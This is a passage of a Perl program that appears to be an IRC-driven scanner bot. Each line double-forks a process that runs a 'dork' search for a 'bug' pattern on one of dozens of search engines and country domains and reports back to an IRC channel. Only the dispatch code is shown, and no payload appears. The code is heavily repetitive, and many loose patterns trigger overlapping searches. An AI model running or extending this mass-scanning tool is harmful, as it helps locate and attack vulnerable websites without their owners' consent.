  893.     if ($engine =~ /Gooru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRU",$type,$nick); } exit; } }
  894.     if ($engine =~ /Gooth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTH",$type,$nick); } exit; } }
  895.     if ($engine =~ /Gooua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUA",$type,$nick); } exit; } }
  896.     if ($engine =~ /Goouk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUK",$type,$nick); } exit; } }
  897.     if ($engine =~ /Goous/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUS",$type,$nick); } exit; } }
  898.     if ($engine =~ /Goosi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSI",$type,$nick); } exit; } }
  899.     if ($engine =~ /Goobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBE",$type,$nick); } exit; } }
  900.     if ($engine =~ /Goobiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBIZ",$type,$nick); } exit; } }
  901.     if ($engine =~ /Gooxxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooXXX",$type,$nick); } exit; } }
  902.     if ($engine =~ /Gootel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTEL",$type,$nick); } exit; } }
  903.     if ($engine =~ /Gootv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTV",$type,$nick); } exit; } }
  904.     if ($engine =~ /Goocc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCC",$type,$nick); } exit; } }
  905.     if ($engine =~ /Goomil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMIL",$type,$nick); } exit; } }
  906.     if ($engine =~ /Gooasia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooASIA",$type,$nick); } exit; } }
  907.     if ($engine =~ /Gooname/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNAME",$type,$nick); } exit; } }
  908.     if ($engine =~ /Goopro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPRO",$type,$nick); } exit; } }
  909.     if ($engine =~ /Gootravel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTRAVEL",$type,$nick); } exit; } }
  910.     if ($engine =~ /Goocat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCAT",$type,$nick); } exit; } }
  911.     if ($engine =~ /Goojobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJOBS",$type,$nick); } exit; } }
  912.     if ($engine =~ /Goomobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMOBI",$type,$nick); } exit; } }
  913.     if ($engine =~ /Gooaero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAERO",$type,$nick); } exit; } }
  914.     if ($engine =~ /Goocoop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCOOP",$type,$nick); } exit; } }
  915.     if ($engine =~ /Gooedu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEDU",$type,$nick); } exit; } }
  916.     if ($engine =~ /Googov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGOV",$type,$nick); } exit; } }
  917.     if ($engine =~ /Goomuseum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMUSEUM",$type,$nick); } exit; } }
  918.     if ($engine =~ /Gooacid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Gooacid",$type,$nick); } exit; } }
  919.     if ($engine =~ /Gooschid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Gooschid",$type,$nick); } exit; } }
  920.     if ($engine =~ /Googoid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Googoid",$type,$nick); } exit; } }
  921.     if ($engine =~ /Goomm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMM",$type,$nick); } exit; } }
  922.     if ($engine =~ /google|blogspot|facebook|javascript|twitter|wiki|google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type,$nick); } exit; } }
  923.     if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo",$type,$nick); } exit; } }
  924.     if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KvaSiR",$type,$nick); } exit; } }
  925.     if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QuinT",$type,$nick); } exit; } }
  926.     if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pagina",$type,$nick); } exit; }}
  927.     if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type,$nick); } exit; } }
  928.     if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type,$nick); } exit; } }
  929.     if ($engine =~ /bingmm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bingmm",$type,$nick); } exit; } }
  930.     if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick); } exit; } }
  931.     if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick); } exit; } }
  932.     if ($engine =~ /yahoomm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoomm",$type,$nick); } exit; } }
  933.     if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type,$nick); } exit; } }
  934.     if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick); } exit; } }
  935.     if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick); } exit; } }
  936.     if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
  937.     if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type,$nick); } exit; } }
  938.     if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type,$nick); } exit; } }
  939.     if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type,$nick); } exit; } }
  940.     if ($engine =~ /HotBot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick); } exit; } }
  941.     if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick); } exit; } }
  942.     if ($engine =~ /sensis/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sensis",$type,$nick); } exit; } }
  943.     if ($engine =~ /webwombat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"webwombat",$type,$nick); } exit; } }
  944.     if ($engine =~ /youDaoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YouDao",$type,$nick); } exit; } }
  945.     if ($engine =~ /excite/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"excite",$type,$nick); } exit; } }
  946.     if ($engine =~ /mamma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mamma",$type,$nick); } exit; } }
  947.     if ($engine =~ /infospace/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"infospace",$type,$nick); } exit; } }
  948.     if ($engine =~ /altavista/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"altavista",$type,$nick); } exit; } }
  949.     if ($engine =~ /bingdomain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bingdomain",$type,$nick); } exit; } }
  950.     if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchnz",$type,$nick); } exit; } }
  951.     if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BeCak",$type,$nick); } exit; } }
  952.     if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick); } exit; } }
  953.     if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick); } exit; } }
  954.     if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick); } exit; } }
  955.     if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick); } exit; } }
  956.     if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick); } exit; } }
  957.     if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick); } exit; } }
  958.     if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick); } exit; } }
  959.     if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick); } exit; } }
  960.     if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } }
  961.     if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick); } exit; } }
  962.     if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick); } exit; } }
  963.     if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick); } exit; } }
  964.     if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick); } exit; } }
  965.     if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick); } exit; } }
  966.     if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick); } exit; } }
  967.     if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick); } exit; } }
  968.     if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick); } exit; } }
  969.     if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick); } exit; } }
  970.     if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick); } exit; } }
  971.     if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick); } exit; } }
  972.     if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick); } exit; } }
  973.     if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick); } exit; } }
  974.     if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick); } exit; } }
  975.     if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick); } exit; } }
  976.     if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick); } exit; } }
  977.     if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick); } exit; } }
  978.     if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick); } exit; } }
  979.     if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick); } exit; } }
  980.     if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick); } exit; } }
  981.     if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick); } exit; } }
  982.     if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick); } exit; } }
  983.     if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick); } exit; } }
  984.     if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick); } exit; } }
  985.     if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick); } exit; } }
  986.     if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick); } exit; } }
  987.     if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick); } exit; } }
  988.     if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick); } exit; } }
  989.     if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type,$nick); } exit; } }
  990.     if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type,$nick); } exit; } }
  991.     if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type,$nick); } exit; } }
  992.     if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type,$nick); } exit; } }
  993.     if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type,$nick); } exit; } }
  994.     if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type,$nick); } exit; } }
  995.     if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type,$nick); } exit; } }
  996.     if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type,$nick); } exit; } }
  997.     if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoM",$type,$nick); } exit; } }
  998.     if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type,$nick); } exit; } }
  999.     if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type,$nick); } exit; } }
  1000.     if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type,$nick); } exit; } }
  1001.     if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type,$nick); } exit; } }
  1002.     if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type,$nick); } exit; } }
  1003.     if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type,$nick); } exit; } }
  1004.     if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type,$nick); } exit; } }
  1005.     if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type,$nick); } exit; } }
  1006.     if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type,$nick); } exit; } }
  1007.     if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type,$nick); } exit; } }
  1008.     if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InfO",$type,$nick); } exit; } }
  1009.     if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type,$nick); } exit; } }
  1010.     if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type,$nick); } exit; } }
  1011.     if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type,$nick); } exit; } }
  1012.     if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type,$nick); } exit; } }
  1013.     if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type,$nick); } exit; } }
  1014.     if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type,$nick); } exit; } }
  1015.     if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NeT",$type,$nick); } exit; } }
  1016.     if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type,$nick); } exit; } }
  1017.     if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OrG",$type,$nick); } exit; } }
  1018.     if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type,$nick); } exit; } }
  1019.     if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type,$nick); } exit; } }
  1020.     if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type,$nick); } exit; } }
  1021.     if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type,$nick); } exit; } }  
  1022.     if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type,$nick); } exit; } }
  1023.     if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type,$nick); } exit; } }
  1024.     if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type,$nick); } exit; } }
  1025.     if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type,$nick); } exit; } }
  1026.     if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type,$nick); } exit; } }
  1027.     if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type,$nick); } exit; } }
  1028.     if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type,$nick); } exit; } }
  1029.     if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"XXX",$type,$nick); } exit; } }
  1030.     if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type,$nick); } exit; } }
  1031.     if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type,$nick); } exit; } }
  1032.     if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type,$nick); } exit; } }
  1033.     if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type,$nick); } exit; } }
  1034.     if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type,$nick); } exit; } }
  1035.     if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type,$nick); } exit; } }
  1036.     if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type,$nick); } exit; } }
  1037.     if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type,$nick); } exit; } }
  1038.     if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type,$nick); } exit; } }
  1039.     if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JOBS",$type,$nick); } exit; } }
  1040.     if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type,$nick); } exit; } }
  1041.     if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AERO",$type,$nick); } exit; } }
  1042.     if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type,$nick); } exit; } }
  1043.     if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type,$nick); } exit; } }
  1044.     if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type,$nick); } exit; } }
  1045.     if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AS",$type,$nick); } exit; } }
  1046.     if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AI",$type,$nick); } exit; } }
  1047.     if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AG",$type,$nick); } exit; } }
  1048.     if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type,$nick); } exit; } }
  1049.     if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BH",$type,$nick); } exit; } }
  1050.     if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type,$nick); } exit; } }
  1051.     if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BZ",$type,$nick); } exit; } }
  1052.     if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BO",$type,$nick); } exit; } }
  1053.     if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BA",$type,$nick); } exit; } }
  1054.     if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BW",$type,$nick); } exit; } }
  1055.     if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VG",$type,$nick); } exit; } }
